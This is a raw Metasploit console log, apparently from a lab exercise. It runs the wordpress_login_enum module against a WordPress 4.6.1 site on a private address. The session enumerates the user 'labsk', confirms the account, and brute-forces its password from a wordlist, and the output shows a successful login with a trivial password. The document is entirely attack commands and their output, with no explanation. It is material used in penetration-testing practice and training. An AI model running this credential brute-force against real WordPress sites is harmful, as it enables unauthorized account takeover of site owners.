msf > use scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set RHOSTS 192.168.72.128
RHOSTS => 192.168.72.128
msf auxiliary(wordpress_login_enum) > set TARGETURI /wordpress
TARGETURI => /wordpress
msf auxiliary(wordpress_login_enum) > set USERNAME labsk
USERNAME => labsk
msf auxiliary(wordpress_login_enum) > set PASS_FILE /root/password.lst
PASS_FILE => /root/password.lst

msf auxiliary(wordpress_login_enum) > exploit

[*] /wordpress - WordPress Version 4.6.1 detected
[*] /wordpress - WordPress User-Enumeration - Running User Enumeration
[+] /wordpress - Found user 'labsk' with id 1
[*] /wordpress - Usernames stored in: /root/.msf4/loot/20170819084401_default_192.168.72.128_wordpress.users_400787.txt
[*] /wordpress - WordPress User-Validation - Running User Validation
[*] /wordpress - WordPress User-Validation - Checking Username:'labsk'
[+] /wordpress - WordPress User-Validation - Username: 'labsk' - is VALID
[!] No active DB -- Credential data will not be saved!
[+] /wordpress - WordPress User-Validation - Found 1 valid user
[*] /wordpress - WordPress Brute Force - Running Bruteforce
[*] /wordpress - WordPress Brute Force - Skipping all but 1 valid user
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'seculab'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'secu'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'lab'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'sec'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'se'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'cu'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'la'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'selab'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'culab'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'baluces'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'balces'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'scul'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'labsk'
[+] /wordpress - WordPress Brute Force - SUCCESSFUL login for 'labsk' : 'labsk'
[*] /wordpress - Brute-forcing previously found accounts...
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'seculab'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'secu'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'lab'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'sec'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'se'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'cu'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'la'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'selab'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'culab'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'baluces'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'balces'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'scul'
[-] /wordpress - WordPress Brute Force - Failed to login as 'labsk'
[*] /wordpress - WordPress Brute Force - Trying username:'labsk' with password:'labsk'
[+] /wordpress - WordPress Brute Force - SUCCESSFUL login for 'labsk' : 'labsk'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(wordpress_login_enum) >